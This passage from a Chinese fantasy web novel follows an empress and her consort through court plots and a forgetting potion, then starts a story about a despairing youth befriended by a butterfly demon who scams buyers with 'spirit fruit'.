而今晚,发生了件大事,俞闻死了,自杀身亡。
这是意料之外,却又在意料之中。
自从俞国与晟国最后一战后,对方精神一直不好,后期更是常常自寻短见,不过被人拦了下来。
一直担心的事还是发生了。
俞昭一夜难眠,躺在床上睁着眼,侧过身,身旁空落落。
她与林听潺说过,将俞老将军儿子收入后宫对谁都不好,但到了如今一步,不得不纳。
这是缓兵之计,那些男子在她后宫费度青春又如何,一切的前提是她要与林听潺在一起。
而一波未平一波又起,第二日上午,在她满心期待林听潺回来时,影军却传来消息,皇后返程时遭遇埋伏。
好在攻击集中在头辆马车,且林听潺又有知微和影军护着,未受大碍,正在回来的路上。
龙颜大怒,俞昭下令:“查!彻查此事!凡是参与者,满门抄斩!”
言罢甩掉一切公事出城去接,当她真实地看见对方时才敢松口气,一阵风吹过,冷得她一激灵,这才发觉背后早已沁出冷汗。
“没伤着吧?”俞昭抓着对方手臂,上下检查。
“没有,我没受伤,你派来保护我的人也没有受伤。”
“那就好。”俞昭抱住对方,两人安抚性地在彼此的背上拍拍。
“是我的错,让你受惊了。”俞昭眼中划过凶光,等将人查出来了,她会让他们明白此事的后果。
44. 女帝与先生(4)
深夜,床上两人呼吸平缓。
室内烛光微弱,窗外一片黑暗。
一道暗影从屋内阴影中剥离出来,无声无息。
俞昭猛地睁开眼,下床,披了件外衣走到外室。
“如何?”
跪在身前的黑影发出声音:“是赵家,但背后出谋之人是将军府。”
俞昭发出一声冷笑,果然如她所料,将军府,她现在还动不了,但敲打一番还是可以的,至于这赵家,不过侍郎,也敢以下犯上。
她冷声道:“赵家,全家死了也不足惜,至于将军府,你们倒是可以关注下少公子。”
“属下明白。”黑影重新融于黑暗,烛焰晃动一下,静静燃烧。
俞昭将此事闹大了,或者说,俞将军和她撕破了脸,她不过让他儿子再不能人事罢了,至于这么生气吗?
这能和让她皇后受惊相比吗?不能!
第三日俞昭一上朝,全臣死谏。
跪满朝臣的大殿、带血的奏折、头破血流的官员……真是好热闹啊。
“陛下——!”苍老而悲怆的声音响起,“臣等,泣血上奏,为了江山社稷,请陛下——废黜中宫!”
“咚”的一声,满头白发的李阁老以头触地,长跪不起。
话音未落,身后数十名官员齐刷刷跪倒,伏地叩首。
一时间,“请陛下废后!”的声浪此起彼伏,在空旷的大殿中回荡、碰撞,在俞昭四周炸开。
俞昭冷眼看着下方狼藉,冷哼:“怎么,朕连自己家事都决断不了,需要你们来替天行道?
“别以为朕不知道你这些心思,废黜皇后,下一步,就是让你们自家儿子替上来是吧。”
“臣等一心为国为民,天地可证,日月可鉴!”众臣重重叩首,“若陛下不废黜妖后,臣等便撞死在这殿上。”
“大胆!那朕倒要瞧瞧,尔等的忠心到底如何?”
俞昭等着他们去撞,一旁的知微忙劝道:“陛下,不可。”
“如何不可?以下犯上,冒犯龙颜,污蔑皇后,每一件都够他们死的。”
“陛下息怒。”知微劝道,“莫要让皇后坐实了这名声,留下千古骂名。”
俞昭恍然一惊,听潺什么都不知道,什么都没做,却被这群大臣架上妖后的骂名,他何其无辜。
“罢了。”俞昭扶额,对着座下道,“这次朕便饶了你们,若有下次,便想想赵家的后果。”
说罢,她不再理会这群人的呼喊,匆匆下了朝。
知微紧随其后,压低声音道:“俞老将军去了军营。”
“怎么,他还想造反?”
“造反应当是不敢,只怕以后不听诏令。”知微忧心道,“现在看起来俞国压制住了晟国,但军营不稳,边疆不固,不知敌方何时反扑。”
俞昭猛地停下脚,正要开口,一个侍从匆忙奔来,喘着粗气道:“陛下,皇后不好了!”
“怎么回事?皇后在哪里?”
“皇后茶中被人下了药,太医正在瞧,就在中宫。”
俞昭脑子一下子懵了,她都忘了自己是怎么奔过去的,这一路上,她心脏狂跳不止,只有无尽的害怕。
好在她在意的人没出什么大事,太医拱手道:“皇后并无大碍,毒已解,只是身体虚弱需静养几日。”
俞昭坐在床边,握紧林听潺冰冷的手。
对方脸色苍白,神色虚弱,不敢相信,如果这毒再厉害些,后果会是如何。
担忧过后,心中便是无尽愤怒。
“知微,速速查出何人下的药。”
结果很快查出,知微道:“下药的是一名叫小荷的婢女,已畏罪跳湖。”
“背后之人呢?”
知微无声摇头,眼眸深沉。
俞昭明白了,她知道宫中不是太平之地,只以为有自己在,能为对方创一片宁静地,却没想……
这是她第一次后悔,后悔将林听潺带入这从未干净过的地方,让他陷入险地。
“所以你要放他出宫,要他忘了你,重回之前的生活?”孟梨食问。
俞昭沉默点头。
孟梨食又扭头看向林听潺,“你能同意?”
林听潺将被握着的手抽出一半,声音不如一开始那般温柔,“我不同意。”
“嗯?”孟梨食再次看向女人,不理解现在什么情况。
俞昭极不明显看了身旁人一眼,道:“所以我们约好彼此忘记。”
她是不愿忘记对方的,但若是她不喝这忘情水,对方也坚决不喝。
他们都明白,留下的人往往是最痛苦的。
“我不想前朝后妃的事发生在他身上。”俞昭道。
见大家一脸了然,才来人间不过一年的孟梨食一脸茫然,“什么意思?”
江余客凑近,三两语说了,“前朝宠妃以平民女子身份进入后宫,虽得皇帝盛宠,却依旧惨死在后宫与前朝的暗斗中。”
“哦。”孟梨食悟了,旋即又有疑惑,“既然他不能就你,你何不就他?”
她刚问出来,小魂一脸惊恐,差点要捂住对方嘴巴,就连江余客都满脸诧异。
俞昭紧抿着唇,想说些什么,却始终未能张开嘴。
愿意舍去一切荣华富贵、高官厚禄、滔天权势,只为陪一人隐居山林或浪迹天涯,多好,多令世人向往,多值得世人称赞,可现实中,又有几人能做到?
俞昭,做不到,她有很多理由去说明,但即使说出来,也会被有心之人认为,是放不下皇权高位。
她心中发笑,这位置,只有真正坐上去的人才能感受到,高处不胜寒。
孟梨食挠挠脸颊,怎么都不说话呢?
她看向林听潺,问:“你有什么要说的?虽然是同一个故事,但不同的讲述者,会带出故事的另一面。”
林听潺缓缓道:“我只想说,第二次见面时,我故意在院门前支了张桌子作画,专门穿了绿衣,戴上竹簪。
“我从见你的第一面就喜欢上了你。”他看向俞昭。
俞昭笑笑,“我知道。”
林听潺声音中夹杂着细微的颤抖,“我支持你一切决定,除了你自己不喝忘情水。
“我知道你很为难,我也不希望你陷入险境,也许就如你说的,这就是最好的解决办法。”
……
门开了,两个昏睡的人被分别带走。
知微走进来,身后跟着数个大汉,每两个大汉抬着一个木箱,砰砰几下,将箱子放在地上。
木箱被打开,里面是金灿灿的金子,白花花的银子,以及各种珠宝首饰。
五光十色,差点亮瞎孟梨食的眼。
“这是买水钱。”知微抬手示意。
孟梨食咽了咽口水,觉得故事的下一句是:从此以后,孟梨食过上了富足的生活。
在她即将扑进满箱黄金时,最后的理智拉住了她——不,她没有理智,小魂拉住了她。
“孟梨食,别被钱财迷住双眼,你忘了你定下的规矩了吗?只拿买水人身上钱财的一半!”
“这就是一半。”孟梨食努力伸出手抓取。
要真是一半,那两人早就被压死了。小魂腹诽,“啪”的一下撞在她脸上,撞得对方往后直踉跄,跌进江余客怀中。
“可恶!”孟梨食一把撕下脸上的魂,正要在空中抡转两圈甩飞出去,看似不存在的理智在这时突然出现。
“算了。”她道,“反正我就要回地府,拿这么多钱财也无用。”
地府的货币是善德。
她走过去,在装满金子的木箱前顿住脚,探身拿了两块丢进空间,想了想,又拿了一块。
“对了,之后你怎么处理?”她看向知微。
对方笑笑:“一切证明对方存在的物件已被我藏好,世人只会知道,那位来自民间,受尽皇帝宠爱的皇后病死,陛下伤心过度,丢了记忆。”
她笑着,渐渐露出凶恶的神色,“谁若敢在陛下面前提起此事,斩!”
孟梨食听完,挥挥手,正要离开,身后人突然道:“并非陛下舍不得那皇位。”
她停下脚,听见对方继续道:“是皇位需要陛下。”
在外,现在的晟国表面愿意称臣,心里却不知打着什么反扑的算盘,而俞老将军拥兵自重,须得徐徐将其铲除。
在内,经过多年战争,国家急需休养恢复,稳固国本。
而观整个皇室,无人可接陛下重任。
鸟儿就该飞翔于天际,山间的风就该徜徉在林间,而皇帝,就该好好坐在那深宫高位上,让世间太平,让世人能够去追寻自己心中的自由。
孟梨食哼着轻快的小调
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,走出这家客栈。
她不懂他们的悲伤,只觉得今日天气晴朗,天穹蓝的舒坦,几只鸟飞得也自在。
马车停在客栈外,几人上了马车,重新踏上原来的旅程,他们要一路前行,去到晟国。
也许,许多年后,帝后的故事会是这样——
“怎么又是劝朕纳妃的?”俞昭扶着额头,头疼不已,“这群大臣,就不能把心思精力放在其他地方吗?”
每每听到类似的话,知微心中总会一咯噔,忙道:“不如就纳几个,扔在后宫别管。”
这明明是个最适当的方法,但俞昭却不由的皱起眉头,打心底不愿,她也说不清为什么。
“罢了,你与其这般与那些老不死站一队,还不如在宗亲里帮朕挑个好苗子,朕当继承人培养。”
俞昭见窗外已然深夜,便道:“你下去歇息吧。”
“是。”知微应道,默默退出。
俞昭搁下笔,也准备入睡。
躺在床上,脑子里又回荡那些大臣劝她纳妃的言论,她越想,越觉得胸闷。
闭上眼睛,好像有个人朦朦胧胧地出现,她看不清对方,但对方一颦一笑,都让她为之心动。
她想,如果真有这样的人,那她不择手段也会将其娶进宫中。
她对曾经的皇后没有什么印象,听知微说,她和对方很相爱,也许,那朦胧的人影就是先皇后吧。
她叹了口气,突然想到什么,半起身按开床头的暗格,一支簪子静静躺在几本书本上。
她心脏猛地一缩,恍若被无形的巨锤狠狠砸下,整个人倒回床上。
她好像,忘记了什么……不对,她本就因为先皇后的死而丢了记忆。
先皇后,是个什么样的人呢?
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青山书院早已落了锁,听说是那里的先生因为丧妻生了场大病,搬去另一处养病去了。
林听潺坐在窗边,正执笔画一幅兰花。
乌云突然聚拢,视野内很快暗了下来,马上,滴滴答答的雨滴落下。
林听潺豁然一惊,连忙起身往外跑,边跑边喊小童出来收画。
他看今日天气好,特意将画拿出来晒晒,却不想下起了大雨。
“先生,我来就好,您身体不好,赶快回去!”小童焦急喊道。
“咱俩一起搬快些。”
好消息是,他们成功抢救了画,只有几幅受了雨,之后需要修补。
坏消息,先生身体本就不好,这次受了雨,发起了烧。
林听潺脸颊烫得惊人,他缩在被子里,只觉得冷。
小童服侍他将药喝下,不一会,他便迷迷糊糊地睡着了。
不知过了多久,他朦胧睁开眼,见自己正在院子里收画,但抬头,却见天空澄澈,半分不像有雨的样子。
他正困惑间,远远见一个人朝自己走来,对方的身影像被雨晕开颜料的画般,看不真切,但他又觉得很熟悉。
对方走到他身前,伸出手想拉他,声音发颤:“听潺,我不要什么皇位,我只要你。”
林听潺浑身一惊,有什么东西好像要钻出脑子。
他声音也发颤道:“你在说什么,我不认识你。”
说着,他转身要回屋,走出两步,忍不住回头,见那人没跟上来,只是呆愣地站在那里,默默地看着自己。
林听潺走不动了,不知是谁的悲伤先冒出来,弥漫在周围。
最终,那人转过身,慢慢地挪步,走了。
林听潺一惊,他还没反应过来,身体先追了出去,一把抱住对方。
“我骗你的,我没忘记你。”
林听潺睁开眼,素色床帘就在眼前,扭过头,透过关严的窗扉,可以看见天色已黑,雨落的声音在整个世界响起。
而在近处,一幅画落入眼中。
画上是一簇兰花,兰花上方,是不知何人题的字。
他吸了吸鼻子,越看越觉得胸闷头昏。
脸上黏黏糊糊的,他探手一抹,满脸的泪。
他好像忘记了什么……对,自从他妻子死了后,他就丢了记忆。
心不会隐瞒,他肯定很爱很爱他的亡妻。
他不由的想,对方会是什么样的人呢?
45. 悲观少年与乐观蝶妖(1)
两日路程,孟梨食等人到了国都周边的一座城内,再往前走几日便能出了俞国。
俞国与晟国之间有处地界叫景都,听说是人间难得的宁静处,不受两国管辖,不受战争波及。
既然要去晟国,孟梨食计划着,那便顺道去这景都瞧瞧。
现在步入的这座城市,繁华虽比不上国都,倒也不算太差,几人舟车劳顿几日,决定在此处歇歇脚。
更巧的是,再过几日就是元宵佳节,那还赶什么路,不得留下来好好过节啊。
孟梨食也没忘记画中狐嘱托她的事,每到一处繁华地界,便会去到画舫等地将一幅幅《画中狐与画师》的画卷赠出。
世人会知道世界上有这么一个人,尤擅画狐,画的狐灵动异常,栩栩如生。
元宵佳节那夜,街道上处处透着节日的火热气氛,各式灯笼缀满枝头、檐下,将黑夜照得恍若白昼。
空气中浮动着糖人的甜香、烤肉的热气,小魂顺着香味一路飘过去,停在一处小摊前,流着口水问:“老板,这个怎么卖?”
摊主手中飞速做着糖人,抽空回道:“小的五文钱,大的十文钱。”
“那我要超大的!”小魂飘在空中,指着自己道:“老板,能捏一个我吗?”
摊主抬头瞅了一眼,见说话的是个长得像团云的家伙,后面拖着雾一般的尾巴,前面两只短手,点点头:“不难。”
摊主还觉得就对方这造型,顶多三文钱。
孟梨食走过来时小魂已经拿好了糖人,舔一口,挥舞着炫耀,接着猛地张开深渊巨口,将比寻常大不少的糖人一口吞了。
孟梨食嫌弃地后退半步,左右看看,确定没人注意他们。
江余客见小魂捂着脸颊一脸回味,提醒道:“你注意点,不要离我们太远,我刚才看见不少降妖士。”
“我是魂,又不是妖。”小魂叉着它那不存在的腰道,“而且,他们不一定打得过我。”
孟梨食不理两人谈话,视线已经被不远处的小摊吸引去,那是在猜灯谜。
小魂注意到她视线,顺着看过去,忍不住笑道;“梨食,就咱俩这脑子,别去那丢人了,我们去那边卖糖葫芦吧。”
孟梨食本也不想去那暴露自己智商,但对方说的话太瞧不起人,反而让她来了气,非得去瞧瞧,解出一两个灯谜来。
她一把拉住就要向另一边飘的小魂,气势汹汹地走到摊前,强硬地挤到人群最前面。
小魂扑腾着双手,见于事无补干脆捂住脸,待会肯定很丢人。
视线一扫,孟梨食取下一只八角宫灯,扶着下方垂落的朱红纸条,念着:
“有城没有街和房,有山没有峰和岗,有河没有水和鱼,有路不见人来往。”
“这是什么?”孟梨食皱眉,“是地府吗?黄泉路上只有魂和鬼差,没有人,忘川河里也没有鱼。”
摊主笑道:“姑娘思路新奇,不过不对。”
小魂撤下捂眼睛的手,闻言哈哈大笑道:“我就说你不行吧。”
它说着也来了兴致,去看最近的灯谜,念道:“身体轻又轻,常在空中行,有时像棉絮,有时像鱼鳞。”
“诶!”它眼睛一亮,忙指着自己对摊主道,“这不就是我吗?别说棉絮和鱼鳞了,我老被这个女人捏成各种形状。”它指着孟梨食。
摊主被逗得哈哈大笑,摇头道:“不是不是,再猜再猜。”
“呵!你也不行啊。”孟梨食一把将小魂揪回来,可劲揉捏。
江余客刚扶住一张灯下的朱红纸条,两道视线瞬间投来,吓得他连忙松手,摆手道:“我不行的,我就看看。”
闻言,两个互掐的人松了口气,一起蠢就不叫蠢了。
“我们去放河灯吧。”江余客提议道。
“去!”孟梨食率先松开手,她再也不会来这了,猜灯谜一点意思都没有。
三人挤在卖河灯的小摊前,一顿挑选后终于卖好各自心仪的河灯,兴冲冲跑去河边。
他们到时水面已被千万盏河灯点缀,莲花的、小船的,载着明明灭灭的烛火,似碎星流淌。
“我要先放!”小魂举着一盏极其复杂精致的玲珑宝塔灯,率先放在水面上,双手合十念念有词:“愿孟梨食早点完成任务我好回到地府。”
孟梨食轻轻一哼,将荷花灯放进湖中,想了想,说了个心愿:“那就如小魂所愿吧。”
江余客放了个小船样的,闭眼许愿:“愿人生幸福无憾。”
夜风拂过,三人的河灯顺流而下,汇入银河之中。
几人玩闹一通,准备离开。
江余客刚起身,忽见不远处的岸边坐着个人,周身的气氛与四周格格不入,像被无形的膜隔绝在热闹之外。
他心中一绞,岸边嬉闹的人们,街上欢笑着未停止的人流,在此时都被模糊化了。
他走到那人身边,离得近了,才看出对方身形清瘦,应当是个少年人。
那更怪了,是发生了什么让对方在这佳日里耷拉着头,雕塑似的?
“你怎么了?可是有什么烦事?”江余客问完,面前人生硬地抬起头,朝他挤出个笑来,一个扭曲、诡异的笑。
江余客吓得后退。
“怎么了?”身后传来声音,他侧头一看,孟梨食过来了。
“我很快乐,我在笑啊。”少年人弯着眼睛,扯着嘴角道。
明明在笑,却仿佛下一刻就会哭出来,嚎啕大哭。
孟梨食皱着眉,侧头寻找什么,跑了出去,不久提着个河灯回来,一把塞进少年手中,不容置疑道:“放河灯,许愿,保证能实现!”
对方满脸错愕,扯起的嘴角慢慢落下来。
他捧着荷花样的河灯,缓慢扭过身,将灯放入河面,看着它在一片波光中起伏。
“我想见她。”他许愿。
孟梨食依旧用她不容怀疑的语气道:“你得告诉河灯她是谁,发生了什么,不然你的心愿实现不了。”
对方被一点点引导着,将故事说了出来:“她叫蝶乐乐,是只蝶妖……”
山间的风清爽,将少女的发丝吹得飞扬。
俯瞰着山脚城镇,她忍不住大喊:“人间真美,我来了!”
她刚喊完,头顶传来幽幽的声音:“人间美个屁。”
蝶乐乐抬起头,见头顶的树枝上,一个人正拉着白布条荡着玩……不是,他在上吊!
猛地反应过来,她一个起跳抱住对方双腿,大喊道:“你别死啊!”
少年被腿部力量骤然一拉,抓住白布条的手一个失力,脖子挂了上去。
“唔……呃,救,救……”少年双眼发白,窒息感让他又惊又急,使劲扑腾着双腿。
蝶乐乐却以为对方想把自己踹开,抱的更紧了。
咔嚓——
上面的树枝不堪重负,发出一声哀鸣,带着两人坠地。
砰——
蝶乐乐狠狠摔趴在地,头晕目眩,不过半秒,一个重物重重砸在她身上,差点将她压断气。
她双眼昏花,努力探手去触那渐渐远去的人间,悲哀道:“再见了,人间。
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”
她正想“咽气”,双臂却忽被钳住,身体被使劲晃荡,生生将她晃回神。
“醒醒!快醒醒!呼,没死就好。”
蝶乐乐睁开眼,一个少年人闯进她眼中,她视线微晃,落在对方被勒红的勃颈上。
两人面对面坐着,扭头看向一旁断掉的树枝,以及缠在上面的白布条,心里一阵后怕。
蝶乐乐心道:“幸亏我出手及时,不然对方就死翘翘了。”
少年心道:“幸亏树枝断了,不然我就被对方害死了。”
他看向对方的眼神带上惊悚,身体悄悄后挪。
他是想寻短见,但今天只是来试试,看看有没有需要注意的地方,不是真想死啊!
少年站起身,拍拍屁股就想离开。
他刚走出两步,察觉什么,猛地转身,一个人撞进怀中。
“嘿嘿!”蝶乐乐捂着被撞疼的鼻子,笑着抬起头。
“你跟着我干嘛?”对方没好气道。
蝶乐乐抿抿唇,心道,当然是怕你再寻短见啊,笑道:“咱俩交个朋友呗,我刚从山里出来,对人间不了解。”
“那我劝你赶紧回山里去,人间没意思。”少年说着,转身离开。
蝶乐乐急忙跟上,“为什么啊?”
少年脚步加快,身后的脚步也加快,被逼到最后,他拔腿开跑,身后人也紧跟着跑起来。
两人满山地跑,跑到夕阳下沉,跑到彼此气喘吁吁。
“我不行了。”少年扶着树干,大喘着气。
蝶乐乐学着对方扶树干,两人面对着面,她不解道:“你跑什么呀?”
少年只觉得自己看见了魔鬼,吓得说不出话来。
“我喜欢你,我们交个朋友吧,我叫蝶乐乐。”蝶乐乐眨着她那真挚的大眼睛。
“我就要死了,别和我交朋友。”少年扭过头。
“为什么要死呢?”蝶乐乐是真的不理解。
“活着多好啊,有那么多好玩的地方,难道你都去玩过了?还有很多美丽的风景,难道你都去看过了?还有超级多的好吃的,难道你都吃过了?”
少年哽住了,回答不出来。
蝶乐乐扭过头,见太阳西沉,最后几缕余晖撒向大地,将世间染成了金黄色。
“走,我带你看个好玩的。”她一把拉住少年的手,不由分说往林子里拖。
林子深处,余晖被隔绝在外,四周只有黑暗,但黑得并不彻底,朦胧中晕染着点点深黄和深绿。
“你到底想做什么?”少年忍无可忍,一把甩开对方的手。
一踏进林中,周遭的温度顿降,冷得他鸡皮疙瘩都泛了起来。
他搓着手臂就要离开,刚走出两步,面前的草丛中亮起点点微弱的光亮,一闪一闪着升起。
四周的黑暗被点亮,更多星星点点升起。越来越多,越来越密集,凝聚成一面墙,又变幻成一条带子,在黑夜中飘浮。
蝶乐乐抬起手挥舞,脚尖轻点,在光亮中舞蹈。
“你见过这番景色吗?”她跳到少年身边,在对方侧头看的瞬间又跳到另一边,“如果你还没见过就离开,不会觉得遗憾吗?”
望着面前恍若银河般的景色,少年惊讶得说不出话来,他看着面前女孩被萤火虫照亮的脸庞,看见对方放肆的笑容,看见对方舞动的身姿……
突然,一只手拉住他的,带着他跑了起来,无数荧光环绕在他身旁,为他引路,为他殿后,好像要将他带去那真正的银河之上。
他不由的,笑了起来。
46. 悲观少年与乐观蝶妖(2)
少年睁开眼,看见郁郁葱葱的树冠,透过枝叶间的点点缝隙看出去,是泛白的天空,与正缓缓升起的橙色骄阳。
没忍住,他打了个哈欠,扭过头,顿时一愣。
有一个女孩睡在他身旁……
他睁着眼睛,没敢动弹,当雕塑还没当几秒,身旁传来一阵舒适的刚睡醒的哼唧声,接着他手臂被肘击了。
“啊,打到你了,不好意思啊。”
蝶乐乐维持懒腰伸到一半的动作,不好意思地笑笑,接着翻个身趴着,看向少年,呲着大牙问:
“咱们算朋友了吗?我叫蝶乐乐,你叫什么啊?你为什么不开心呢?我可以帮你哦。”
她眨巴着眼睛,睫毛扑闪扑闪的,像阳光下蝴蝶扇动的翅膀。
“……我叫江松。”
江松也不知道为什么,在面对对方时,他能将那么丢脸的事说出来。
太丢脸了,说他被骗了感情骗了钱,还不如让他去死。
听完,蝶乐乐盘腿坐起,双手抱臂,一脸恨铁不成钢地道:
“不就是被骗了感情骗了钱嘛,这有什么大不了的,值得你去寻短见?”
江松盯着脚边嫩草,半晌,才声音微弱道:“那是我攒了很久的钱。”
差点压垮他的不只是这次被骗经历,还有他从小经历的那些……
“在乎我的人都死了,这钱是我将老家卖掉出来打拼的……”
沉默许久,蝶乐乐突然问:“你说骗你的人穿着灰色长裙,裙摆有蓝紫色晕染?”
“是。”
江松有些轻微脸盲,但那个人身穿衣裳上的那抹蓝紫色很亮眼,他记得很清楚。
“对方身材高挑,发间插着棕色木簪?”
江松茫然,低头思索会,点头回道:“是。”
蝶乐乐眉头狠狠一皱,噌的站起身,“我知道她是谁,我去帮你把钱要回来!”
说着,她转身跑进林中。
江松紧跟着站起身,去追对方,“你跑错方向了吧!”
“你别管我,在这等着!”蝶乐乐跨过一处草丛,消失在林中,也消失在对方视野里。
哼,她可是知道对方老巢,麻雀妖!
不光是外形,从江松讲述的细节中,她确定了这个骗子是麻雀妖——闻雀。
她当初从灵山出来,一直往东走,经过一片林子,听说过对方,也打个照面。
当时知道对方也生自灵山,还挺高兴能遇见老乡,不过后来不喜对方性格,加上自己要继续赶路,不会在此多留,也没什么太多交流。
对方老巢就在隔壁林子里,蝶乐乐翅膀一张,瞬间腾空,眨眼间出现在远处。
“闻雀,出来!”蝶乐乐扯着嗓子喊,“你这个骗子,赶紧出来!”
呼——
一阵劲风忽的腾起,像一面快速移动的无形的墙,生生将蝶乐乐撞飞出去。
她在空中翻了几圈,猛地展开翅膀稳住身形。
在她前方,一道高挑的身影从繁茂树冠中缓缓现身,徐徐降下。
对方穿着一身灰色长裙,裙摆几抹蓝紫色,如璀璨银河般梦幻,是那种难以被人类调出来的颜色。
“哟,蝶乐乐,许久不见啊。”闻雀停在空中,松松抱着双臂,脸上挂着淡笑,笑意却并不达眼底。
“少废话,我是来替江松要回被你骗走的钱的!”
蝶乐乐叉着腰,翅膀大幅度扇动,形成风旋,将身后的树枝吹得剧烈颤抖。
“江松?”闻雀轻蹙眉,修长的手指轻搭手臂,“哦,我想起来了,他啊。”
“既然记起来了,就赶紧把钱还来,那是他卖了老家活命的钱。”蝶乐乐气势凌人。
“是他自己傻乎乎把钱给我,我为什么要还?”对方理直气壮。
蝶乐乐手指一指对方,忍无可忍道:“是你装惨骗他的钱!”
“那也是他太易相信他人,我正好给他一个教训,省的他以后再被谁骗了去。”
蝶乐乐简直要被对方的强盗逻辑气到吐血,和这种妖就没法讲道理。
“我要揍你!”她咬牙喊。
“行啊。”闻雀抬起手,动作轻柔得仿佛拂在水面。
“要是你能打赢我,我就把钱给你。”
她刚说完,一道彩色身影瞬间逼至身前,招式狠厉,一脚直踹向她腹部。
闻雀一个下腰避开,在对方收回脚的前一秒抬腿反踢,又一个晃眼出现在其身后,一掌劈出。
砰——
蝶乐乐踉跄着在空中飞出两米,猛的扭身,眼神凶狠。
闻鹊施施然收回手,“不过一只小妖,道行没几年,还想揍我。”
蝶乐乐看着对方,背后翅膀剧烈扇动,一道强烈风旋凝聚而出,在空气流动中迅速逼至对方,所过之处草木断折。
对方抬手,本想轻松将这风旋撕裂,却脸色微微一变,下一秒出现在另一处。
好险,竟然没能将这风旋撕开。她暗暗喘气,强撑着道:
“比你多的这数年道行可不是嘴上说说的。”
说着,她神色严肃起来,手臂一抬,林子各处发出窸窣响声,像数条巨蟒伏行,又似有巨物破土而出。
蝶乐乐疑惑又警惕地观察四周,在她背后,一根枯藤震地而起,鞭子般狠狠甩出。
蝶乐乐堪堪躲过,又被前方突然蹿出的枯藤迎面抽中。
身体瞬间飞出,在落地之前,她强撑着控制追逐闻雀的风旋,费了极大劲才将一根枯藤绞断。
但马上,又有数根枯藤破开地面的束缚,在空中扭动着。
“完了,”蝶乐乐捂着火辣辣的胸口想,“她真的打不过。”
江松是在林子外围找到对方的。
他听话地在原地等着,等了许久不见对方回来,担心出了什么事,便进林子找。
蝶乐乐靠着树干半躺着,静静调息,蕴养胸部的伤。
这时,一阵急促的脚步声传入耳中,她连忙放下动作,警惕寻着声音看去,在看到来人时微微一愣。
“你怎么来了?”她强撑着站起身。
看见对方神色憔悴,江松有些怔愣,却是什么也没说,走过去将对方扶住。
蝶乐乐瞅了他一眼,脚步一顿,探头去看。
江松忙将头一扭,不让对方看,却没想对方一直在凑上来,围着他转了半圈。
“你哭了?”蝶乐乐问。
“没有。”对方将头扭得更过去了,将他眼角的红隐藏在树枝投下的阴影中,但他话中浓重的鼻音却出卖一切。
“害,哭啥。”蝶乐乐抽出手,一把搂住对方肩膀,哥俩好的往外走。
“虽然钱我没要回来,但我想到个帮你赚钱的办法。”
“什么办法?”对方注意力成功被她吸引走。
蝶乐乐趁机飞快瞟了他一眼,果然看见对方泛红的眼角,以及眼里的晶莹。
她心中叹了口气,怎么和兔草草一样爱哭。
两人走出林子,来到他们初见时的地方。
这是一块草坪,前方是并不高的崖,但能将山脚的人间风景一览无余。
蝶乐乐半是强制性地将对方带到一棵树下,自己扶着树干慢慢坐下,等屁股落地时,不由地嘶了口凉气,脸庞都皱了起来。
“没想到她会打人。”江松的视线落在蝶乐乐捂住胸部的手上,心里满
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满的后悔,早知他就不将此事告诉对方了。
蝶乐乐正悄悄用灵力疗伤,这么一会也好的差不多了,听见对方这么说,她收回手,忙道:
“没打起来,是我不小心磕到的。”
说着,她又站起身,大开大合挥动手臂,还跳了跳。
“好了,我告诉你赚钱的方法。”蝶乐乐叉腰道,见这句话再次吸引住对方注意,继续道:
“方法很简单,这片林子我熟,我知道哪里长得有果子,咱俩摘果子去卖,保管能赚很多很多钱!”
对方轻皱着眉,明显不认可对方的好方法,“山里的野果,会有人来买吗?”
“诶呀,稍微伪装一下就好了呀!”
“怎么伪装?”
蝶乐乐努嘴想了想,灵机一动,笑道:
“这还不简单,咱们就说这是灵山上的灵果,吃了可以延年益寿。”
“这不是骗人吗?”江松看向对方的眼神带上些不可思议。
蝶乐乐读出对方眼神中的意思,有些欣慰,又有些生气。
“我是那种人吗?这座山本就有灵气,山里长的果子怎么不叫灵果,没准真能延年益寿呢?”
“好吧。”江松最终同意,只能在心里记着,不要让对方把价格抬得太高,这样就算骗人,也是最小程度的骗人。
说干就干,蝶乐乐在前面引路,一高兴走在路上都是蹦蹦跳跳的,并道:
“往前走有一个小山谷,旁边就有好几棵树,上面结的果子又大又红,可好吃了!”
她笑着,又补充一句:“肯定还能卖出很多钱。”
走出这小片林子外,果然看见一处山谷,山谷两侧石壁陡峭,岩缝里伸出几株虬曲的老松。
上面与谷底还算平坦,绿茸茸的草地平铺出去,中间被一条清澈小溪划开。
不远处就稀稀疏疏长有几棵粗树,上面也是稀稀疏疏结着果子。
对于对方口中又大又红的果子,江松起先还抱有怀疑,只以为对方是夸大,等亲眼见了,才知对方说的再真实不过。
太阳还挂在树梢顶,视野内一片清明,一片盎然绿色将一切装饰,风从山谷吹来,舒适得什么也不愿去想。
江松闭上眼睛,任清风在脸上拂了又拂,就在他有些昏昏欲睡之时,一阵爽快的笑声将他喊醒。
一睁眼,蝶乐乐已经飞跑出去。
她的动作那么轻盈,好像下一秒就会飞起来。
更让江松震惊的是,对方三两下窜上一棵树,再一眨眼,对方已经坐在树枝上晃荡着腿了。
“快来!”蝶乐乐朝愣住的人招手,旋即抬手将头顶的果子摘下,抛给对方。
江松稳稳接过,又抬头看她。
阳光正烈,从繁密枝叶中挤下来的丝丝缕缕光线投到对方身上,让对方的一颦一笑都变得晃眼。
“我来摘,你来接。”
蝶乐乐朝他扬下巴,也不管对方听没听见,手速飞快地摘了两颗红果子,虚抛两下,等对方做出接的动作,再扔下去。
两人一阵忙活,在这棵树上摘了一些,又换到另一棵树上。
最终,江松看着堆成小山的果子,喊道:“够了,别摘了,再摘咱们也拿不了了。”
蝶乐乐闻言,握着还没扔下的果子,轻飘飘跳了下来。
“我们去溪边休息一下。”她提议道。
两人走到溪边,小溪极浅,也不宽,却是极其透彻清凉。
江松拿了颗果子在溪里洗了洗,便有些迫不及待送进口中,一口咬下,果然如他想的清脆多汁,甘甜回味。
蝶乐乐捧了口溪水喝,美美地躺在草地上,心道:“活着多好啊!”
47. 悲观少年与乐观蝶妖(3)
休息完,两人便抱着果子下了山。
山脚就有座小镇,不远处还有座城,里面更热闹。
“咱们先在镇子里试试,要是卖的好,再去城里卖,到时候还能把价格再提一提。”蝶乐乐道。
两人在街道旁选了个空地,蝶乐乐摸出一块灰布铺在地上,接着退到后面,见江松将果子一个个摆在上面,她趁机施了施法。
顿时,果子表面被覆上一层晶莹的细碎闪光,就如人们所想象的仙果那样。
“咳咳!”蝶乐乐清了清嗓子,吆喝道:“瞧一瞧看一看了,灵山上的灵果,吃了延年益寿、强身健体啊!”
“姑娘吃了皮肤嫩,小孩吃了脑瓜灵,壮士吃了身体棒,老人吃了胃口好!
“都来瞧一瞧,看一看啊!”
